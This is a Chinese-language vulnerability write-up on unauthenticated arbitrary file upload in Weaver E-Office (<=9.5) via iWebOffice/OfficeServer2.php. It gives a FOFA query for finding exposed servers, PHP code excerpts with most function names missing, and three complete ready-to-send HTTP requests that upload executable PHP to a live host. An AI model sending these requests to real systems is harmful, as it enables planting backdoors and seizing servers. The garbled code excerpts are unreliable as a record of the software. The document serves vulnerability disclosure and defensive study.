漏洞简介
泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office iWebOffice/OfficeServer2.php 接口 SAVEFILE 、SAVEVERSION 和 SAVETEMPLATE 存在任意文件上传漏洞,允许未经身份验证的攻击者上传恶意代码,植入后门,获取服务器权限,并控制整个 Web 服务器。
影响版本
e-office <=9.5
fofa语法
app="泛微-EOffice"
漏洞分析
SAVEFILE
$mFilePath = $_SERVER['DOCUMENT_ROOT']."attachment";
......
case "SAVEFILE" :
$mFileName = $_REQUEST['FILENAME'];
$mRecordID = $_REQUEST['RECORDID'];
$mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;
if ( ( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( ( $_FILES['MsgFileBody']['tmp_name'], ( "utf-8", "gbk", $mFullPath ) ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgError = $_lang['file_save_fail'];
$result = false;
}
}
else
{
$MsgError = $_lang['file_upload_fail'];
$result = false;
}
if ( !$result )
{
break;
}
$MsgObj = $MsgObj."STATUS=".( $_lang['file_save_success']."!" )."\r\n";
break;
因 FILENAME 和 RECORDID 参数用户可控,导致可以上传任意文件并执行远程代码。
SAVETEMPLATE
case "SAVETEMPLATE" :
$mRecordID = $TEMPLATE;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mFullPath = $mFilePath."/".$mRecordID.$mFileType;
$mFullPath = ( "utf-8", "gbk", $mFullPath );
$MsgObj = $MsgObj."mFullPath=".( "mFullPath" )."\r\n";
$mDescript = $DESCRIPT;
$mFileDate = $FileDate;
$mUserName = $UserName;
if ( ( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( ( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgError = "Save File Error";
$result = false;
}
}
SAVEVERSION
case "SAVEVERSION" :
$mRecordID = $RECORDID;
$mUserName = $USERNAME;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mDescript = $DESCRIPT;
$mFileDate = ( "Y-m-d H:i:s" );
$mSql = "insert into Version_File (RecordID,FileType,FileDate,FilePath,UserName,Descript) values ('".$mRecordID."','".$mFileType."','".$mFileDate."','".$mFilePath."','".$mUserName."','".$mDescript."')";
if ( ( $mSql ) )
{
$result = true;
}
else
{
$result = false;
}
$mSql = "SELECT Max(FileID) as FileID FROM Version_File WHERE RecordID='".$mRecordID."'";
$rs = ( $mSql );
if ( $row = ( $rs ) )
{
$mFileID = $row['FileID'];
$MsgObj = $MsgObj."FILID=".( $mFileID )."\r\n";
}
$mFullPath = $mFilePath."/".$mRecordID.$mFileID.$mFileType;
$MsgObj = $MsgObj."FULPATH=".( $mFullPath )."\r\n";
if ( ( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
$MsgObj = $MsgObj."STATUS=".( $_lang['file_save_version'].$mFullPath )."\r\n";
}
else
{
$MsgObj = $MsgObj."STATUS=".( "Save File Error".$mFullPath )."\r\n";
$result = false;
}
漏洞复现
SAVEFILE
POST /iWebOffice/OfficeServer2.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Length: 248
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="FILENAME"
test.php
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="OPTION"
SAVEFILE
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="MsgFileBody"; filename="test.png"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundarySIELKZKzD7vQmdsO--
访问上传文件 attachment/test.php

SAVETEMPLATE
POST /iWebOffice/OfficeServer2.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Length: 248
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="TEMPLATE"
test.php
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="OPTION"
SAVETEMPLATE
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="MsgFileBody"; filename="test.png"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundarySIELKZKzD7vQmdsO--
访问上传文件 attachment/test.php

SAVEVERSION
POST /iWebOffice/OfficeServer2.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Length: 248
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="RECORDID"
test
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="OPTION"
SAVEVERSION
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="FILETYPE"
.php
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="MsgFileBody"; filename="test.png"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundarySIELKZKzD7vQmdsO--
响应里包含文件物理路径,base64解码后即可看到文件名,一般为 RECORDID+FileID 组成,如 test1.php



